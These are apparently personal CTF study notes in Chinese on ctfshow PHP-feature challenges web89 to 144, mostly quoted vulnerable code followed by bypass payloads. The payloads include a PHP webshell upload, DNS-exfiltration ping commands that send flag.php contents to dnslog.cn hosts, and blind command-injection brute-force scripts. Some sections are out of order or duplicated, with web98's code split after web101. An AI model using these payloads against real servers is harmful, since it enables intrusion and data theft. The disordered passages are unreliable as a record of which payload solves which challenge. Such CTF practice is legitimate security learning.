ctfshow-php特性
关于intval()
web89
?num[]=0x123
Hint
通过数组绕过
web90
?num=0x117c
?num=010574
PHP intval() 函数
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);
如果字符串以 "0" 开始,使用 8 进制(octal);
否则,将使用 10 进制 (decimal)。
Hint
hint是错误的!
因为我们提交的参数值默认就是字符串类型 所以我们可以直接输入 ?num=4476
web91
第二个过滤:/^php$/im
第二个过滤:/^php$/i
i是大小写
m是多行匹配
Hint:
考查:正则表达式是匹配方法
https://blog.csdn.net/qq_46091464/article/details/108278486
可以通过 %0a 绕过 payload: abc%0aphp
web92
?num=010574
Hint
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
web93
增加了过滤对字母的过滤。
Hint
过滤了字母但是我们可以使用其他进制就是计算
0b?? : 二进制
0??? : 八进制
0X?? : 16进制
payload : ?num=010574
web94
strpos()
查找 "php" 在字符串中第一次出现的位置:
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
if(!strpos($num, "0")){
die("no no no!");
}
如果$num没有0 就输出no no no
Hint
在93的基础上过滤了开头为0的数字
这样的话就不能使用进制转换来进行操作
我们可以使用小数点来进行操作。
这样通过intval()函数就可以变为int类型的4476
?num=4476.0
web95
Hint
可以通过8进制绕过但是前面必须多加一个字节
?num=+010574或者?num=%2b010574
字符串弱类型
web96
绝对路径:/var/www/html/flag.php
相对路径:./flag.php
奇奇怪怪的姿势:/var/www/../
Hint
在linux下面表示当前目录是 ./ 所以我们的payload: u=./flag.php
web97
传入对象的md5值都是相同的。
Hint
通过数组绕过 a[]=1&b[]=2
web98
三元运算符
include("flag.php");
//$_GET=&$_POST 变量的引用赋值
$_GET?$_GET=&$_POST:'flag';//如果get存在,$_GET=&$_POST;否则,强制类型转换设置为'flag'
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';//如果$_GET['flag']=='flag',则$_GET=&$_COOKIE
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';//如果$_GET['flag']=='flag',则$_GET=&$_SERVER
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
Hint
https://www.php.cn/php-notebook-172859.html
https://www.php.cn/php-weizijiaocheng-383293.html
考点是PHP里面的三元运算符和传址(引用) 传址(引用)有点像c语言里面的地址 我们可以修改一下代码
<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)
}else{
"flag";
}
if($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag
中间的代码没有作用,因为我们不提交 flag 参数
web99
payload: get : ?n=1.php
post:content=<?php system($_POST[1]);?>
web100
这道题基本上没有对参数进行过滤,所以直接执行命令
payload:
web101
https://segmentfault.com/q/1010000000770535
考察使用函数打印对象里面的属性。
我们可以出100的题里面看到提示,ctfshow.php里面就只有属性。并且最后的属性就是flag.
我们可以使用Reflectionclass类,打印类的结构
payload:
}
if($_GET['flag']=='flag'){
$_GET=&$_SERVER;
}else{
'flag';
}
if($_GET['HTTP_FLAG']=='flag'){//需要满足这个条件就可以输出flag
highlight_file($flag);
}else{
highlight_file(__FILE__);
}
所以我们只需要 GET一个?HTTP_FLAG=flag 加 POST一个HTTP_FLAG=flag 中间的代码没有作用,因为我们不提交 flag 参数
web99
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
如果$_GET中有n,且$_GET['n']中的内容在allow中存在,则会以$_GET['n']为文件名,$_POST['content']为文件内容;
array_push() //入栈,往数组后插入新内容
in_array() //搜索数组中是否存在指定的值
file_put_contents() //把一个字符串写入一个文件中
file_put_contents(file,data,mode,context)
file 要写入数据的文件
data 要写入的数据
Hint
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
}
?>
payload:
GET :?n=1.php
POST:content=<?php system($_POST[1]);?>
继而访问1.php
web100
//is_numeric()函数 用于检测变量是否为数字或数字字符串
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
//后面and中的内容和前面的赋值没有影响,所有就没有关系
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
赋值的运算优先级高于逻辑运算优先级
v1必须是数字
v2不能包含分号
v3必要包含分号
包含函数是包含v2和v3的内容
先绕过is_numeric()函数,然后在绕过检测方式
在ISO-8859-1和UTF-8中,0x2d的编码是-
flag_is_439f43c30x2dcfd00x2d48c20x2daefb0x2d4127a07c1652
ctfshow{439f43c3-cfd0-48c2-aefb-4127a07c1652}
Hint
?v1=21&v2=var_dump($ctfshow)/*&v3=*/;
web101
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
反射ctfshow类输出,使用默认的tostring方法,反射类:echo new Reflectionclass
Hint
?v1=1&v2=echo new Reflectionclass&v3=;
替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
2021-09-09
web102
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
$v4 = is_numeric($v2) and is_numeric($v3);
上面这句话的优先级是 先等号 再and
所以$v4的值就只需要$v2是数字就可以了
call_user_func()//把第一个参数作为回调函数(callback),并且将其余的参数作为回调函数的参数。
也就是第一个参数是函数名,第二个参数是函数的参数
$v1传入的值是函数名,$s是作为函数的参数的,$s是$v2从第二个数开始取的值
file_put_contents()//把一个字符串写入到文件中
第一个参数是写入数据的文件,第二个参数是要写入文件的数据,第三第四先略过。
$v3作为文件名,$str作为要写入的数据内容
Hint
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST
v1=hex2bin
# 访问1.php后查看源代码获得flag
115044383959474e6864434171594473
# 16进制转字符串
PD89YGNhdCAqYDs
# base64解码
<?=`cat *`;
$v1 = hex2bin//hex2bin()是将十六进制字符串转为二进制字符串
$v2 = 115044383959474e6864434171594473//echo hex2bin("5044383959474e6864434171594473"); --> PD89YGNhdCAqYDs
$v3 = php://filter/write=convert.base64-decode/resource=2.php//通过过滤器写文件
web103
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
Hint内容和102相同,这个题目相比于102只是增加了一个对php的一个过滤
过滤的内容是$str,$str是与v1和v2有关的,所以说在102中,还可以使用有带有php的绕过方式。
web104
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
sha1($v1)==sha1($v2)
第一种方式:只需要传值相同即可
Hint
第三种方式:#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668
第二种方式:还可以使用数组绕过:
POST
v1[]=2
GET
v2[]=1
web105
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
Hint
考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces
web106
sha1($v1)==sha1($v2) && $v1!=$v2
同104,只是多增加了一个条件判断。可以使用104Hint内容,也可以使用数组绕过。
web107
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str()//把查询字符串解析到变量中
parse_str($v1,$v2);//就是把v1的内容当作参数以数组的形式存放到v2中。
方法一:
所以只需要构造一个v1输入的flag=md5($v3)即可
方法二:
v1=//空
v3[]=xx//v3是作为数组的形式
md5($v3)//因为v3是数组所以返回的是一个NULL
v1是空所以是NULL
Hint
GET: ?v3=240610708 POST: v1=flag=0
//0和科学计数法0e开头的都是相等的
web108-ereg()函数绕过-弱类型
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
关于==和===:
==只比较值是否相等
===比较类型和值的相等
ereg() //用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。
ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE
//就是说只能出现大小写英文字母
strrev()//反转字符串
Hint
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。
搜索字母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
?c=a%00778
?c=a%00a778//反转后是877a,后面的a就直接自动省略了
web109-Exception 异常处理类
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
关键代码:
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
猜测:eval是包含,echo 输出一个新的以v1为函数名,v2为参数的函数内容?
Hint
Exception 异常处理类 http://c.biancheng.net/view/6253.html
payload:
?v1=Exception&v2=system('cat fl36dg.txt')
?v1=Reflectionclass&v2=system('cat fl36dg.txt')
web110-php内置类 FilesystemIterator
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
增加对输入的过滤,然后就不会了
Hint
考察:php内置类
利用 FilesystemIterator 获取指定目录下的所有文件
http://phpff.com/filesystemiterator
https://www.php.net/manual/zh/class.filesystemiterator.php
getcwd()函数 获取当前工作目录 返回当前工作目录
payload: ?v1=FilesystemIterator&v2=getcwd
获得文件名后直接访问即可!
web111-全局变量 GLOBALS
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
Hint
考察:全局变量
为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS
看eval("$$v1 = &$$v2;");会很容易的想到就是变量覆盖,但是不理解=&这个符号是什么意思的,只知道$$=$$是变量覆盖的意思。
2021-09-10
web112-伪协议
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file()//检查指定的文件名是否是正常的文件。
Hint
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
web113-溢出
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
相比112多过滤了filter而已。
使用上题Hint中的compress.zlib
Hint
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
//目录溢出,写很多目录,然后目录溢出了,所以is_file()判断它不是一个文件,highlight就可以直接打开了。
web114-伪协议
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
Hint
payload: php://filter/resource=flag.php
web115-函数绕过 is_numeric()
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
is_numeric() 函数用于检测变量是否为数字或数字字符串。
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
可以本地测试是否可以绕过if中的判断函数:is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'
Hint
payload:?num=%0c36
%0c==\f
web123-突破函数
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
注意点:
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM
Hint
POST: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
web125
!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c
在传参中新增了过滤flag|GLOBALS|echo|var_dump|print
POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
Hint
GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
web126
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
$a=$_SERVER['argv'];
Hint
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
web127-$_SERVER['QUERY_STRING'];
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
$_SERVER['QUERY_STRING'];
extract() 函数从数组中将变量导入到当前的符号表。
Hint
GET:?ctf show=ilove36d
利用空格自动转换为_,绕过waf函数的检测
$_SERVER['QUERY_STRING'];获取的查询语句是服务端还没url解码的,所以可以使用url编码绕过
web128-gettext()
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
对GET传参的f1进行了检查
call_user_func() 第一个参数作为回调函数调用,其余参数是回调函数的参数,所以这里调用了两次
Hint
https://www.cnblogs.com/lost-1987/articles/3309693.html
https://www.php.net/manual/zh/book.gettext.php
小知识点: _()是一个函数 ()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll get_defined_vars()函数 get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag
payload: ?f1=_&f2=get_defined_vars
web129
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
stripos()
stripos(string,find,start)
查找find字符串在string中第一次出现的位置,start规定开始查找的位置
要出现传入的内容要出现ctfshow,还要读取已传入参数为名字的文件
Hint
考察: 目录穿越
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
payload: /ctfshow/../../../../var/www/html/flag.php 查看源代码获得 flag
web130
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
Hint
直接绕过正则表达式: f=ctfshow
/.+?ctfshow/is
在/s模式下,.匹配任意字符,+表示重复一次或更多次,没错是至少一次!
而后面加个?表示懒惰模式,+?表示重复1次或更多次,但尽可能少重复。
当然懒惰模式并不影响解题思路,总之就是ctfshow前面必须得有字符才能匹配到,所以直接f=ctfshow就可以了。。
web131-正则表达式是溢出
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
Hint
考察: 正则表达式是溢出
https://www.laruence.com/2010/06/08/1579.html
大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK
用Hint的方式不能行,但是用python脚本可以
import requests
url='http://b4ac7d63-0a90-44f0-ab11-3ec1ed574ae8.challenge.ctf.show:8080/'
data={
'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)
web132-&& || 运算符理解应用
打开是一个网站页面,有点无从下手,还是需要练习一下信息收集啊。
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
Hint
考察: php中&&和||运算符应用 访问/robots.txt,之后访问/admin,获得源代码
https://www.cnblogs.com/hurry-up/p/10220082.html
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。 payload: ?a=admin&b=admin&c=admin
#在判断这个的时候
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕过
web133-dns带外查询
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
Hint
https://blog.csdn.net/qq_46091464/article/details/109095382
用burp suite进行curl回显的方式还没有学会~
使用到了dnslog.cn
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"/"-"`.vfmxcx.dnslog.cn -c 1
web134
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
Hint
考察: php变量覆盖
利用点是 extract($_POST); 进行解析$_POST数组。
先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。
所以payload: ?_POST[key1]=36d&_POST[key2]=36d
web135-
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
Hint
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据
?F=`$F` ;ping `awk '/flag/' flag.php`.0narep.dnslog.cn
使用dns外带查询的方法发现均未成功,最后用了其他方法:(133因为没有写权限,所有不能用这种方法)
?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;
web136
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
Hint
payload: ls /|tee 1 访问1下载发现根目录下有flag
payload: cat /f149_15_h3r3|tee 2 访问下载就OK
新姿势 ls /|tree 1 可以把查询道的内容直接写入文件1中,然后直接访问下载文件1就可以看到ls根目录下的内容
web137-call_user_func()函数的使用
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
Hint
考察: call_user_func()函数的使用
https://www.php.net/manual/zh/function.call-user-func.php
payload: POST: ctfshow=ctfshow::getFlag
web138-call_user_func 过滤了:
class ctfshow
:
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
strripos()//以不区分大小写的方式查找指定字符串在目标字符串中最后一次出现的位置
Hint
payload:
POST: ctfshow[0]=ctfshow&ctfshow[1]=getFlag
它是以数组的形式传入其中,在读取的时候的第一次是读取了类名,第二次是静态函数名
web139
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
Hint
import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then
sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?
c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep
3;fi".format(j,n)
#print(payload)
url="http://16fb8221-6893-4aee-95d5-dbe7163bded0.chall.ctf.show?
c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
爆破根目录#摘https://www.xiinnn.com/article/791da304.html#Web139
import requests
import string
dic = string.digits+string.ascii_letters+"_"
ans = ""
for i in range(1,15):
is_find = 0
for j in range(1,15):
if is_find == 1:
break
for n in dic:
payload = "if [ `ls /|awk 'NR=={}'|cut -c {}` == {} ];then sleep 3;fi".format(str(i),str(j),n)
#print(payload)
try:
res = requests.get("http://f3fa020a-a1b4-4cc1-9875-0d93c21e278c.challenge.ctf.show:8080/?c="+payload,timeout=2.5)
except:
ans += n
print(ans)
break
ans += " "
import requests
import string
dic = string.digits+string.ascii_letters+"_"
ans = ""
for j in range(1,50):
for n in dic:
payload = "if [ `cat /f149_15_h3r3 |cut -c {}` == {} ];then sleep 3;fi".format(str(j),n)
#print(payload)
try:
res = requests.get("http://f3fa020a-a1b4-4cc1-9875-0d93c21e278c.challenge.ctf.show:8080/?c="+payload,timeout=2.5)
except:
ans += n
print(ans)
break
web140-函数的利用-返回0
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
f1 和 f2 只能是数字和字母组成的内容,返回f1作为函数名,f2的函数返回作为f1的函数参数,eval这个返回,同时对这个返回执行intval函数,等于ctfshow才会输出flag
别人的wp说只要intval($code)=0就可以了
Hint
考察: 函数的利用 payload: f1=usleep&f2=usleep
web141-无数字字母rce、绕过return
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
Hint
考察命令执行和绕过return 应该说运算符都可以绕过 这里用羽师傅给的一个脚本取反命令执行 ?v1=10&v2=0&v3=-(%8c%86%8c%8b%9a%92)(%9c%9e%8b%df%99%d5);
一个是绕过return,使用的是数组和命令之间的运算:1-phpinfo()-1
另一个是无数字字母rce
web142
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
Hint
0和0x0绕过 这里绕过因为是因为当成了8进制和16进制
web143
141的plus版本
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
过滤的内容比141多,主要是增加了对字符内容的过滤,但是没有过滤异或。
Hint
位运算都可以进行构造字符
?v1=10&v2=0&v3=*("%0c%19%0c%5c%60%60"^"%7f%60%7f%28%05%0d") ("%0e%0c%00%00"^"%60%60%20%2a")?>
?v1=1&v2=1&v3=^(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80^%E3%E1%F4%A0%AA)^
web144
143的plus版本
